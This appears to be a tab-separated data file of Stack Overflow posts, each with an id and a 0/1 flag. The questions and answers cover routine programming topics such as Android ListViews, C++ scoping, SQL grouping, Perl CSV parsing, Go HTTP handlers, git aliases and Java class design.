30935504	0	 <p>Check this line in your onCreate() method:</p> <pre><code>loadAllProducts.execute(String.valueOf(lista)); </code></pre> <p>you can not get the string value of a ListView! If you want to get the value of a textView IN the listView, you could add an OnItemClick event to your listView and get the value of the textView in the selected list item like this:</p> <pre><code>//a variable, you could use from all the methods, that will have as a value the value of the selected TextView private String selectedValue; @Override protected void onListItemClick(ListView l, View v, int position, long id) { View view = (View)v.getParent(); TextView textYouNeed = (TextView) view.findViewById(R.id.textViewId); selectedValue = textYouNeed.getText(); } </code></pre> <p>and then use this variable in the line I told about above:</p> <pre><code>loadAllProducts.execute(selectedValue); </code></pre>
5597225	0	 <p>There are no C++ libraries for what you're trying to do (unless you're going to link with a half of Mozilla or WebKit), but you can consider using Java with <a href="http://htmlunit.sourceforge.net/" rel="nofollow">HTMLUnit</a>.</p> <p>And for those suggesting regular expressions, an obligatory <a href="http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454">reference</a>. </p>
3512465	0	How to use Filter in Google Search? <p>I have converted a textbox search to Google Search using :</p> <pre><code>location.href = "http://images.google.com/search?q=" + val; </code></pre> <p>But, I want options of Web Search, Image Search, Local Search &amp; News Search.</p> <p>I do have :</p> <pre><code>&lt;tr height="40"&gt; &lt;td width="80%" align="center" &gt;&lt;input id="searchText" type="text" size="100"/&gt;&lt;/td&gt; &lt;td class="searchbox" width="20%" align="center"&gt;&lt;a href="#" onclick="startSearch()"&gt;Search&lt;/a&gt;&lt;/td&gt; &lt;td width="0%"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;td align="center"&gt; &lt;input type="radio" name="searchType" value="true"/&gt; Web &lt;input type="radio" name="searchType" value="false"/&gt; Image &lt;input type="radio" name="searchType" value="false"/&gt; News &lt;input type="radio" name="searchType" value="false"/&gt; Local &lt;/td&gt; </code></pre> <p>How do I filter this optiong using the same above link.</p>
18738103	0	 <p>You need to pass a javascript element. Not a jquery element. Try </p> <pre><code>'map': map[0] </code></pre>
38243599	1	Python openpyxl comment shape property <p>I'm trying to set properties of comments (mainly the shape) in excel by openpyxl, but I cannot find examples. I'd like to set it with something like:</p> <pre><code>ws.cell(column = x, row = y).comment.NEEDED_METHOD_HERE = ... </code></pre> <p>If you have good examples or any idea what is the exact method, please share it with me, thank you in advance!</p>
15410129	0	 <p><code>id</code> is a global field, just do this:</p> <pre><code>document.getElementById("lat").innerHTML = "31"; document.getElementById("lon").innerHTML = "71"; </code></pre> <p>instead of what you have written.</p>
249029	0	 <p><strong>C++</strong>:</p> <p>Sometimes you need to introduce an extra brace level of scope to reuse variable names when it makes sense to do so:</p> <pre><code>switch (x) { case 0: int i = 0; foo(i); break; case 1: int i = 1; bar(i); break; } </code></pre> <p>The code above doesn't compile. You need to make it:</p> <pre><code>switch (x) { case 0: { int i = 0; foo(i); } break; case 1: { int i = 1; bar(i); } break; } </code></pre>
604438	0	 <p>Don't use the basic_ifstream as it requires specializtion.</p> <p>Using a static buffer:</p> <pre><code>linux ~ $ cat test_read.cpp #include &lt;fstream&gt; #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; using namespace std; int main( void ) { string filename("file"); size_t bytesAvailable = 128; ifstream inf( filename.c_str() ); if( inf ) { unsigned char mDataBuffer[ bytesAvailable ]; inf.read( (char*)( &amp;mDataBuffer[0] ), bytesAvailable ) ; size_t counted = inf.gcount(); cout &lt;&lt; counted &lt;&lt; endl; } return 0; } linux ~ $ g++ test_read.cpp linux ~ $ echo "123456" &gt; file linux ~ $ ./a.out 7 </code></pre> <p>using a vector:</p> <pre><code>linux ~ $ cat test_read.cpp #include &lt;fstream&gt; #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; using namespace std; int main( void ) { string filename("file"); size_t bytesAvailable = 128; size_t toRead = 128; ifstream inf( filename.c_str() ); if( inf ) { vector&lt;unsigned char&gt; mDataBuffer; mDataBuffer.resize( bytesAvailable ) ; inf.read( (char*)( &amp;mDataBuffer[0]), toRead ) ; size_t counted = inf.gcount(); cout &lt;&lt; counted &lt;&lt; " size=" &lt;&lt; mDataBuffer.size() &lt;&lt; endl; mDataBuffer.resize( counted ) ; cout &lt;&lt; counted &lt;&lt; " size=" &lt;&lt; mDataBuffer.size() &lt;&lt; endl; } return 0; } linux ~ $ g++ test_read.cpp -Wall -o test_read linux ~ $ ./test_read 7 size=128 7 size=7 </code></pre> <p>using reserve instead of resize in first call:</p> <pre><code>linux ~ $ cat test_read.cpp #include &lt;fstream&gt; #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; using namespace std; int main( void ) { string filename("file"); size_t bytesAvailable = 128; size_t toRead = 128; ifstream inf( filename.c_str() ); if( inf ) { vector&lt;unsigned char&gt; mDataBuffer; mDataBuffer.reserve( bytesAvailable ) ; inf.read( (char*)( &amp;mDataBuffer[0]), toRead ) ; size_t counted = inf.gcount(); cout &lt;&lt; counted &lt;&lt; " size=" &lt;&lt; mDataBuffer.size() &lt;&lt; endl; mDataBuffer.resize( counted ) ; cout &lt;&lt; counted &lt;&lt; " size=" &lt;&lt; mDataBuffer.size() &lt;&lt; endl; } return 0; } linux ~ $ g++ test_read.cpp -Wall -o test_read linux ~ $ ./test_read 7 size=0 7 size=7 </code></pre> <p>As you can see, without the call to .resize( counted ), the size of the vector will be wrong. Please keep that in mind. it is a common to use casting see <a href="http://www.cppreference.com/wiki/io/read" rel="nofollow noreferrer">cppReference</a></p>
34141633	0	 <p>Roslyn is two things:</p> <ol> <li>An API that lets you see "compiler things" like syntax trees and symbols.</li> <li>A new csc.exe that is implemented atop #1.</li> </ol> <p>If you want to make <em>changes</em> to the compiler and use that to build, take a look at <a href="https://github.com/dotnet/roslyn/blob/master/docs/contributing/Building,%20Debugging,%20and%20Testing%20on%20Windows.md">these instructions</a> if you haven't already. There's a few different ways you can make your own version of csc.exe and then use that to build something. But there's no "choice" dialog like you're looking for.</p>
26153930	0	Can we assign an attribute name for a Class even that attribute is a column in a different table? <p>Ok, here is my DB</p> <pre> Member Table memberID- Name -... 1 - Tom 2 - Mary ... Event table eventID - address 1 - 122NY... 2 - 23 Cali ... PaidMember table orderNumber - eventID - memberID 1 - 1 - 2 1 - 1 - 3 .. </pre> <p>Note: each Event can have many members and each members can be in many event. However, only PaidMember is allowed to participate an event.</p> <p>SO, here is how I design classes:</p> <pre><code>public class Member{ private String name; private int memberID; //all Set and Get methods here } public class Event{ private int eventID; private String address; //all set and get methods here } </code></pre> <p>My question is that, can I put <code>private int orderNumber</code> into Member? but the <code>orderNumber</code> is depended on a particular event</p> <pre><code> public class Member{ private String name; private int memberID; private int orderNumber; //all Set and Get methods here } </code></pre> <p>or should I create PaidMember class? I am thinking to do like this but not sure if it is ok</p> <pre><code> public class PaidMember{ private Member member; private Event event; private int orderNumber; //all Set and Get methods here } </code></pre>
35148710	0	 <p>You cannot use Image datatype in Group by clause.</p> <p><a href="https://msdn.microsoft.com/en-us/library/ms177673.aspx" rel="nofollow">MSDN</a> says:</p> <blockquote> <p>Columns of type text, ntext, <strong>and image</strong> cannot be used in group_by_expression.</p> </blockquote> <p>You can try like this by CAST<em>ing</em> it to VARBINARY like</p> <pre><code>select pc.categoryName, pc.Short_Desc, CAST(pc.categoryImage as Varbinary), COUNT(p.categoryCodeId)as Total from tbl_product as p, tbl_productCategory as pc where p.categoryCodeId=pc.categoryCodeId group by p.categoryCodeId, pc.categoryName,pc.Short_Desc, CAST(pc.categoryImage as Varbinary) order by pc.categoryName </code></pre>
9888669	0	 <pre><code>$this-&gt;html = preg_replace('~//\s*?&lt;!\[CDATA\[\s*|\s*//\]\]&gt;~', '', $this-&gt;html); </code></pre> <p>should work but haven't really tested it.</p>
13050131	0	 <p>Finally resolved the issue. The program is handling everything correctly.</p> <p>On the sending side:</p> <pre><code>compression: gzip -c secret.txt -9 &gt; compressed.txt.gz encryption: openssl enc -aes-256-cbc -a -salt -in compressed.txt.gz -out encrypted.txt </code></pre> <p>The compression output (gz) is given as an input for encryption which outputs a text file. The resulting output is purely ascii.</p> <p>On the receiving side:</p> <pre><code>decryption: openssl enc -d -aes-256-cbc -a -in decryptme.txt -out decrypted.txt.gz decompression: gunzip -c decrypted.txt.gz &gt; message.txt </code></pre>
35274038	0	 <p>A few important differences:</p> <ul> <li>partially <strong>reversible</strong> (<code>CountVectorizer</code>) <strong>vs irreversible</strong> (<code>HashingTF</code>) - since hashing is not reversible you cannot restore original input from a hash vector. From the other hand count vector with model (index) can be used to restore unordered input. As a consequence models created using hashed input can be much harder to interpret and monitor.</li> <li><strong>memory and computational overhead</strong> - <code>HashingTF</code> requires only a single data scan and no additional memory beyond original input and vector. <code>CountVectorizer</code> requires additional scan over the data to build a model and additional memory to store vocabulary (index). In case of unigram language model it is usually not a problem but in case of higher n-grams it can be prohibitively expensive or not feasible.</li> <li>hashing <strong>depends on</strong> a size of the vector , hashing function and a document. Counting depends on a size of the vector, training corpus and a document. </li> <li><strong>a source of the information loss</strong> - in case of <code>HashingTF</code> it is dimensionality reduction with possible collisions. <code>CountVectorizer</code> discards infrequent tokens. How it affects downstream models depends on a particular use case and data.</li> </ul>
34941431	0	Ble pairing failed <p>I was involved an Android APP which does BLE connection and pairing with our company Bt chip. The APP is as BLE central role, while the Bt chip is as BLE peripheral role.</p> <p>When the APP runs on Android 4.4 or 5.0 smart phone, the BLE connection and pairing works well. When the APP runs on Android 5.1 or the latest version 6.0, BLE pairing is terminated by error code (error code: 13), while BLE connection is succeed. Here is the air log:</p> <pre><code>4,148 0x50654c1d 0x0000 1 LL_VERSION_IND 24 2015/12/3 14:13:39.600368 4,160 0x50654c1d 0x0001 2 LL_VERSION_IND 24 00:00:00.048473 2015/12/3 14:13:39.648841 4,163 0x50654c1d 0x0002 1 LL_FEATURE_REQ 27 00:00:00.048522 2015/12/3 14:13:39.697363 4,169 0x50654c1d 0x0003 2 LL_FEATURE_RSP 27 00:00:00.049066 2015/12/3 14:13:39.746429 4,179 0x50654c1d 0x0004 1 LL_CONNECTION_UPDATE_REQ 0x000a 30 00:00:00.048436 2015/12/3 14:13:39.794865 4,234 0x50654c1d 0x000b 1 LL_ENC_REQ 41 00:00:00.303755 2015/12/3 14:13:40.098620 4,237 0x50654c1d 0x000c 2 LL_ENC_RSP 31 00:00:00.007727 2015/12/3 14:13:40.106347 4,244 0x50654c1d 0x000d 2 LL_START_ENC_REQ 19 00:00:00.007500 2015/12/3 14:13:40.113847 4,245 0x50654c1d 0x000e M LL_START_ENC_RSP 23 00:00:00.007273 2015/12/3 14:13:40.121120 4,248 0x50654c1d 0x000f S LL_START_ENC_RSP 23 00:00:00.007726 2015/12/3 14:13:40.128846 4,392 0x50654c1d 0x004a M LL_CONNECTION_UPDATE_REQ 0x0050 34 00:00:00.442275 2015/12/3 14:13:40.571121 4,794 0x50654c1d 0x008c M LL_CHANNEL_MAP_REQ 0x0093 30 00:00:03.002545 2015/12/3 14:13:43.573666 7,168 0x50654c1d 0x0131 M LL_CHANNEL_MAP_REQ 0x0138 30 00:00:08.043797 2015/12/3 14:13:51.617463 10,065 0x50654c1d 0x0261 M LL_CHANNEL_MAP_REQ 0x0268 30 00:00:14.820121 2015/12/3 14:14:06.437584 10,449 0x50654c1d 0x029d M LL_TERMINATE_IND 24 00:00:02.925044 2015/12/3 14:14:09.362628 </code></pre> <p>My Bt host program (based on Bt chip) received <code>CONNECTION_PARAMETER_UPDATE_COMP_IND</code> event, and then received <code>LE_DEVICE_DISCONNECT_COMP_IND</code> event. I guess the operation of disconnect <code>BLE</code> is done by Android Bt stack.</p> <p>In Android 4.4 or 5.0, There is no <code>CONNECTION_PARAMETER_UPDATE_COMP_IND</code> event received, So what's the matter about it, how could I make BLE pairing success on Android 5.1 or 6.0. Any help will be appreciated.</p>
17142695	0	Remove common indexes of array <p>I have some indexes that I need to remove from main array. For example:</p> <pre><code>$removeIndex=array(1,3,6); $mainArray=array('1'=&gt;'a','2'=&gt;'b','3'=&gt;'c','4'=&gt;'d','5'=&gt;'e','6'=&gt;'f'); </code></pre> <p>I want end result like:</p> <pre><code> $mainArray=array('2'=&gt;'b','4'=&gt;'d','5'=&gt;'e'); </code></pre> <p>I know we have <code>array_slice</code> function in PHP, which can be run in loop, but I have very huge data and I want to avoid looping here.</p>
6358707	0	 <p>That's not how tab view controllers work. You can implement this method in your app delegate (after making it the delegate for the UITabeBarController)....</p> <pre><code>- (void)tabBarController:(UITabBarController *)tabBarController didSelectViewController:(UIViewController *)viewController </code></pre> <p>Then call a reset method (or similar) on your view controller to pop back to the root view controller.</p> <p>This is not how you normally work with UITabBarControllers however....</p>
8979217	0	 <p>Don't think of it as evaluating a String. It's still just a chain of properties.</p> <p>So the practical answer to your question is:</p> <pre><code>var o:Object = {}; o["array"] = []; //we do have to insantiate the array first o["array"][0] = 4; </code></pre>
29545868	0	 <p>Firstly, there is no requirement that joins be made using keys. Sure, that's usually how they're done, but you can join on anything (that's one of the big positives of a relational database).</p> <p>Simply join tableC to the other two tables using the attribute columns to create your insertion data:</p> <pre><code>insert into tableNew select keyC, keyA, keyB, atrC1, atrC2 from tableC c join tableA a on a.atrA1 = c.atrA1 and a.atrA2 = c.atrA2 join tableB b on b.atrB1 = c.atrB1 </code></pre>
21716093	0	 <p>Use this to stop at the first closing curly bracket.</p> <pre><code>var html = a.replace(/img{([^}]*)}/g, '&lt;img src="$1" class="image"&gt;'); </code></pre>
4609319	0	MySQL replication from Linux to MySQL on Windows over SSH? <p>Is it possible to perform MySQL replication from the master database on Linux to a slave database running on Windows?</p> <p>Also, an SSH connection must be established between the 2 servers; I'd like to be able to have a script on the slave Windows machine that would run periodically, establish the connection, wait for the replication to finish, and then drop the connection. So, pull from the client rather than push from the master. Is this possible/reasonable/difficult?</p>
34530487	0	ListView also made a call to find the original index of the selected element <p>There are two static ArrayList located in the main activity. I put this data in the ListView to fragment and search procedures would apply. But refreshing the index s search results. How can I get the original index of the selected element? Thank you </p> <pre><code> adapter = new ArrayAdapter&lt;String&gt;(getActivity(), R.layout.list_item, R.id.product_name, SimpleTabsActivity.name_man); lv.setAdapter(adapter); lv.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { Toast.makeText(getActivity(),SimpleTabsActivity.mean_man.get(position),Toast.LENGTH_LONG).show(); } }); inputSearch.addTextChangedListener(new TextWatcher() { @Override public void onTextChanged(CharSequence cs, int arg1, int arg2, int arg3) { // When user changed the Text adapter.getFilter().filter(cs); adapter.notifyDataSetChanged(); } @Override public void beforeTextChanged(CharSequence arg0, int arg1, int arg2, int arg3) { // TODO Auto-generated method stub } @Override public void afterTextChanged(Editable arg0) { // TODO Auto-generated method stub } }); </code></pre>
37433646	0	 <p>You can some changes in your css</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.tablep{ float:left; width:20%; } .bg{ background-color:grey; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code> &lt;div class="tablep bg"&gt;Code #&lt;/div&gt;&lt;div class="tablep bg"&gt;Product Name&lt;/div&gt;&lt;div class="tablep bg"&gt;Date&lt;/div&gt;&lt;div class="tablep bg"&gt;Amount&lt;/div&gt;&lt;br&gt; &lt;div class="tablep"&gt;Id1&lt;/div&gt;&lt;div class="tablep"&gt;product1&lt;/div&gt;&lt;div class="tablep"&gt;2015&lt;/div&gt;&lt;div class="tablep"&gt;100USD&lt;/div&gt;</code></pre> </div> </div> </p>
4754341	0	 <p><a href="http://en.wikipedia.org/wiki/There%27s_more_than_one_way_to_do_it" rel="nofollow">TIMTOWTDI</a></p> <pre><code>#!/usr/bin/perl use strict; use warnings; my $file = "list.csv"; # Use lexical filehandles, not globals; use 3-arg open; don't quote filename open ( my $fh, '&lt;', $file ) or die "Can't open file: $!\n"; my( @lines ) = &lt;$fh&gt;; close( $fh ); # split takes a regex; also, notice the shift my @headers = split( /,/, shift @lines ); my %hash; # Use perly for loops here foreach my $i ( 0..$#lines ) # This works, too #for my $i ( 0..$#lines ) { # split takes a regex my @strings = split( /,/, $lines[$i] ); # One way (probably best) @{ $hash{$i} }{ @headers } = @strings; # Another way #$hash{$i} = { map { $headers[$_] =&gt; $strings[$_] } ( 0 .. $#strings ) }; # Another way #$hash{$i}{ $headers[$_] } = $strings[$_] = for(0..$#strings); } #use Data::Dumper; #print Dumper \%hash; </code></pre> <p>But yes, using <a href="http://p3rl.org/Text%3a%3aCSV" rel="nofollow">Text::CSV</a> (or the faster <a href="http://p3rl.org/Text%3a%3aCSV_XS" rel="nofollow">Text::CSV_XS</a>) would be even better than trying to manually split the CSV yourself (what happens if there are spaces? what happens if the fields and/or headers are quoted? It's a solved problem.)</p>
32927162	0	 <p>Try this:</p> <pre><code>var maker = function(){ this.b = function(){return 1;}; this.c = b(); } var a = new maker(); console.log(a.b()); console.log(a.b); console.log(a.c); </code></pre> <p>the keyword 'new' is the key.</p> <p>You can create functions that just get called, without using 'new'</p> <p>or a functions that will create and return a new object and using new is needed, these are typically referred to as constructor functions, but the key thing is the use of keyword new here which changes the behavior of the function, notice that there is no 'return this;' line in the function, it's implied by using 'new'</p> <p>hope that helps. When that makes sense, look at the prototype process a bit deeper and play with it.</p>
21270	0	 <p>The easiest way is to simply select both fields by selecting the first field, and then while holding down the <kbd>Ctrl</kbd> key selecting the second field. Then clicking the key icon to set them both as the primary key.</p>
9439907	0	 <p>As a rule, numpy is used for scientific calculations in python. You probably should test that lib.</p>
5035082	0	 <p>Check if ./configure doesn't yell about something missing when checking for openssl librairies. It probably didn't compile right, hence the module not listed.</p> <p>You can also have a look at config.log</p>
37209760	0	 <p>Generalizing a little to handle an arbitrary number of sentences, we can align your vectors by creating a list of all the words and then iterating over the counts in that order:</p> <pre><code>&gt;&gt;&gt; texts = [text1, text2] &gt;&gt;&gt; counts = [Counter(text) for text in texts] &gt;&gt;&gt; all_words = sorted(set().union(*counts)) &gt;&gt;&gt; vecs = [[count.get(word, 0) for word in all_words] for count in counts] &gt;&gt;&gt; vecs[0] [0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1] &gt;&gt;&gt; vecs[1] [1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1] </code></pre>
38101257	0	Angular 2 how to remove pasted content from input <p>I'm trying to do some stuff with a pasted string, which works, but when I try to remove the content I can't seem to do it since the pasted content isn't getting bound to the model of the input.</p> <p>How can you clear the input of the pasted content? </p> <p>I tried binding the content to the model and then removing the model but that will still leave the actual pasted content in the event object so it's not a solution. </p> <p>Also tried clearing the input directly using <code>input.value = ''</code> but without luck.</p> <p>Markup:</p> <pre class="lang-html prettyprint-override"><code>&lt;input #input [(ngModel)]="newTag[labelKey]" (paste)="onPaste($event)"&gt; </code></pre> <p>Function:</p> <pre class="lang-js prettyprint-override"><code>onPaste(e: any) { let content = e.clipboardData.getData('text/plain'); // Do stuff // Then clear pasted content from the input } </code></pre>
649377	0	 <p>Here is the full list of <a href="http://msdn.microsoft.com/en-us/library/8edha89s(VS.71).aspx" rel="nofollow noreferrer">overloadable operators from MSDN.</a></p> <p>--- EDIT ---</p> <p>In response to your comment, I believe what you want <a href="http://visual-basic-dox.net/MS.Press-Programming.Microsoft/13580/BBL0037.html" rel="nofollow noreferrer">is here.</a> Search for Table 6-1.</p>
35953120	0	Displaying Go App In The Browser <p>I wrote an app that makes a request to an API and gets a JSON response. When I run the app it displays the json in the terminal.</p> <pre><code>go run main.go </code></pre> <p>I want to make this run in the browser and I found this, which allowed me to print a string to the browser. </p> <pre><code> func handler(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "This is a string") } </code></pre> <p>Then in <code>main</code></p> <pre><code>http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe("localhost:8000", nil)) </code></pre> <p>Now that I have a string being printed to the screen and I have a json response coming from the api I am using, how can I add the json response to the browser instead of the string? </p> <p>Would it be best to put the response into a string then just bring it to the browser?</p> <p>Currently I am printing the json response to the terminal like this,</p> <pre><code>type Payload struct { Page int Results []Data } type Data struct { PosterPath string `json:"poster_path"` Adult bool `json:"adult"` Overview string `json:"overview"` ReleaseDate string `json:"release_date"` GenreIds []int `json:"genre_ids"` Id int `json:"id"` OriginalTitle string `json:"original_title"` OriginalLanguage string `json:"original_language"` Title string `json:"title"` BackdropPath string `json:"backdrop_path"` Popularity float64 `json:"popularity"` VoteCount int `json:"vote_count"` Video bool `json:"video"` VoteAverage float64 `json:"vote_average"` } </code></pre> <p>Then inside <code>main()</code> I do this,</p> <pre><code> for i := 0; i &lt; len(p.Results); i++ { fmt.Println( ImgUrl+p.Results[i].PosterPath, "\n", p.Results[i].Adult, p.Results[i].Overview, "\n", p.Results[i].ReleaseDate, p.Results[i].GenreIds, "\n", p.Results[i].Id, p.Results[i].OriginalTitle, "\n", p.Results[i].OriginalLanguage, p.Results[i].Title, "\n", ImgUrl+p.Results[i].BackdropPath, p.Results[i].Popularity, "\n", p.Results[i].VoteCount, p.Results[i].Video, "\n", p.Results[i].VoteAverage, ) </code></pre> <p>What would be the Go way to do this for building web applications? My end goal here is to take user input and recreate my api call based on the information they provide.</p>
32830924	0	How can I create a bash or zsh alias for git commit, git pull, git push and pull on a remote server? <p>If I type the following into Terminal I can accomplish everything I want:</p> <pre><code>git commit -am "my commit message" ; git pull ; git push ; ssh user@server 'cd /path/to/git/repo/ ; git pull ; exit' </code></pre> <p>I'd like to create the same as an alias in my <code>~/.zshrc</code>. Something like:</p> <pre><code>alias pushit () { git commit -am "$@" ; git pull ; git push ; ssh user@server 'cd /path/to/git/repo/ ; git pull ; exit' } </code></pre> <p>To be run in Terminal like so:</p> <pre><code>pushit "my commit message" </code></pre> <p>Instead every time I reload ~/.zshrc (<code>source ~/.zshrc</code>) or open a new Terminal window I see it loop through my alias dozens of times. It's not clear it actually runs.</p> <p>What am I doing wrong?</p> <p><strong>Notes:</strong></p> <ol> <li>This is not for a mission critical server. It's just for personal use. I know it's poor form.</li> <li>I'd rather not use git's [alias] tools so I can keep all of my aliases in the same place (<code>~/.zshrc</code>).</li> </ol>
34708607	0	Simplexml only shows first array elements even with children() method <p>I'm using PHP 5.6.</p> <p>I'm consuming an amazon API and getting back some products form a product search. </p> <p>I have got the raw xml string back and loaded it in to simplexml with </p> <pre><code>$xml = simplexml_load_string($result); </code></pre> <p>Now if I do </p> <pre><code>print_r($xml-&gt;response-&gt;Items); </code></pre> <p>I get (condensed):</p> <pre><code>SimpleXMLElement Object ( [Request] =&gt; SimpleXMLElement Object ( [IsValid] =&gt; True ) [TotalResults] =&gt; 8914365 [TotalPages] =&gt; 891437 [Item] =&gt; Array ( [0] =&gt; SimpleXMLElement Object ( [ASIN] =&gt; B00QJDO0QC [ParentASIN] =&gt; B00U879AII ) [1] =&gt; SimpleXMLElement Object ( [ASIN] =&gt; B01HDUE8HE [ParentASIN] =&gt; 000000000 ) [2] =&gt; SimpleXMLElement Object ( [ASIN] =&gt; B72HEUD9HE [ParentASIN] =&gt; 000000000 ) ) ) </code></pre> <p>So I want to isolate the 'Items' array so I can process the returned items. So I obviously do:</p> <pre><code>$items = $xml-&gt;response-&gt;Items-&gt;Item; </code></pre> <p>But now if I do </p> <pre><code>print_r($items); </code></pre> <p>I don't get the three elements, I just get a print out of the FIRST $items element like so:</p> <pre><code>SimpleXMLElement Object ( [ASIN] =&gt; B00QJDO0QC [ParentASIN] =&gt; B00U879AII ) </code></pre> <p>I read here: <a href="http://stackoverflow.com/questions/6796797/why-does-simplexml-change-my-array-to-the-arrays-first-element-when-i-use-it">Why does SimpleXML change my array to the array&#39;s first element when I use it?</a> that you need to use the ->children() method. So I tried:</p> <pre><code>print_r($items-&gt;children()); </code></pre> <p>With still the same output. </p> <p>Can anyone help me out?</p>
13508149	0	Where to Async in PagerAdatper <p>My fragment activity used this adapter to display all the result in a listview. The page will have a title tab and each tab will have the list result. <br>Now the list result I read from internal storage and each time I swipe to next page it will have slight lag or delay, so I am thinking implementing ASYNCTask inside this pageradapter so the experience will be better but I have no idea where to implement. Could you guys point me out?? </p> <pre><code>public class ViewPagerAdapter extends PagerAdapter { public ViewPagerAdapter( Context context ) { //This is where i get my title for (HashMap&lt;String, String&gt; channels : allchannel){ String title = channels.get(KEY_TITLE); titles[acc] = title; acc++; } scrollPosition = new int[titles.length]; for ( int i = 0; i &lt; titles.length; i++ ) { scrollPosition[i] = 0; } } @Override public String getPageTitle( int position ) { return titles[position]; } @Override public int getCount() { return titles.length; } @Override public Object instantiateItem( View pager, final int position ) { String filename = null; ListView v = new ListView( context ); final ArrayList&lt;HashMap&lt;String, String&gt;&gt; items = new ArrayList&lt;HashMap&lt;String, String&gt;&gt;(); DatabaseHandler db = new DatabaseHandler(context); filename = openFile("PAGE1"); //OpenFile function is read file from internal storage switch(position){ case 0: filename = openFile("PAGE1"); break; case 1: filename = openFile("PAGE2"); break; case 2: filename = openFile("PAGE3"); break; } try{ //Use json to read internal storage file(Page1/Page2) and display all the result on the list } }catch(Exception e){ } ListAdapter listadapter=new ListAdapter(context, items); v.setAdapter( listadapter ); ((ViewPager)pager ).addView( v, 0 ); return v; } @Override public void destroyItem( View pager, int position, Object view ) { ( (ViewPager) pager ).removeView( (ListView) view ); } @Override public boolean isViewFromObject( View view, Object object ) { return view.equals( object ); } @Override public void finishUpdate( View view ) { } @Override public void restoreState( Parcelable p, ClassLoader c ) { if ( p instanceof ScrollState ) { scrollPosition = ( (ScrollState) p ).getScrollPos(); } } @Override public Parcelable saveState() { return new ScrollState( scrollPosition ); } @Override public void startUpdate( View view ) { } </code></pre> <p>}</p>
1561112	0	 <p>You can use this (C#) code example. It returns a value indicating the compression type:</p> <p>1: no compression<br> 2: CCITT Group 3<br> 3: Facsimile-compatible CCITT Group 3 <br> 4: CCITT Group 4 (T.6)<br> 5: LZW</p> <pre><code>public static int GetCompressionType(Image image) { int compressionTagIndex = Array.IndexOf(image.PropertyIdList, 0x103); PropertyItem compressionTag = image.PropertyItems[compressionTagIndex]; return BitConverter.ToInt16(compressionTag.Value, 0); } </code></pre>
11596612	0	 <p>Use <code>JFXPanel</code>:</p> <pre><code> public class Test { private static void initAndShowGUI() { // This method is invoked on Swing thread JFrame frame = new JFrame("FX"); final JFXPanel fxPanel = new JFXPanel(); frame.add(fxPanel); frame.setVisible(true); Platform.runLater(new Runnable() { @Override public void run() { initFX(fxPanel); } }); } private static void initFX(JFXPanel fxPanel) { // This method is invoked on JavaFX thread Scene scene = createScene(); fxPanel.setScene(scene); } public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { @Override public void run() { initAndShowGUI(); } }); } } </code></pre> <p>where method <code>createScene()</code> is <code>start(final Stage stage)</code> from your code. Just instead of putting scene to stage you return it.</p>
18132795	0	How to cast child class instance <p>I don't really know exactly how to word this but basically I need to get the child class instance of an Actor without assigning it (if that makes since?). Is this possible?</p> <pre><code>package org.game.world.entity.actor; import java.util.HashMap; import java.util.Map; import org.game.world.entity.Entity; import org.game.world.entity.actor.npc.NPC; import org.game.world.entity.actor.player.Player; import org.game.world.entity.actor.player.PlayerData; public abstract class Actor extends Entity { /** * The type of Actor this Entity should be * recognized as. */ private final ActorType actorType; /** * A map of ActionStates, not necessarily 'Attributes'. */ private final Map&lt;ActionState, Boolean&gt; actionState = new HashMap&lt;ActionState, Boolean&gt;(); /** * Constructs a new Actor {@Entity}. */ public Actor(ActorType actorType) { this.actorType = actorType; actionState.putAll(ActionState.DEFAULT_ACTION_STATES); } /** * Gets the status of a {@Actor} ActionSate. * @param state The ActionState. * @return The ActionState flag. */ public boolean getActionState(ActionState state) { return actionState.get(state); } /** * Sets a {@Actor} ActionState flag. * @param state The ActionState. * @param flag The flag true:false. */ public void setActionState(ActionState state, boolean flag) { actionState.put(state, flag); } /** * Resets all ActionState's for this Actor. */ public void setDefaultActionStates() { actionState.putAll(ActionState.DEFAULT_ACTION_STATES); } /** * Checks if this Actor is a specific ActorType (i.e NPC) * @param actorType The ActorType * @return */ public boolean isActorType(ActorType actorType) { return this.actorType == actorType; } /** * The type of Actor. */ public static enum ActorType { PLAYER, NPC } } </code></pre> <p>An Actor type.</p> <pre><code>package org.game.world.entity.actor.player; import org.game.world.entity.Location; import org.game.world.entity.actor.Actor; import org.game.world.entity.actor.SkillLink; /** * This class represents a Player {@Actor} in the world. * * @author dillusion * */ public class Player extends Actor { /** * This Player objects unique set of stored * data. */ private final PlayerData playerData; /** * Creates a new Player object in the world. * @param playerData The set of data unique to this Player. */ public Player(PlayerData playerData) { super(ActorType.PLAYER); this.playerData = playerData; } /** * Gets the players name. * @return The name. */ public String getName() { return playerData.name; } /** * Gets the players password. * @return The password. */ public String getPassword() { return playerData.password; } /** * Gets the players permission level. * @return The permission. */ public Permission getPermission() { return playerData.permission; } /** * Gets the players SkillLink instance. * @return The SkillLink. */ public SkillLink getSkillLink() { return playerData.skillLink; } @Override public Location getLocation() { return playerData.location; } @Override public Location setLocation(Location location) { return playerData.location = location; } } </code></pre> <p>But let's say I have multiple 'Actors'. I don't want to have to cast if I don't need to.</p> <p>Sorry if I didn't explain this very well.</p>
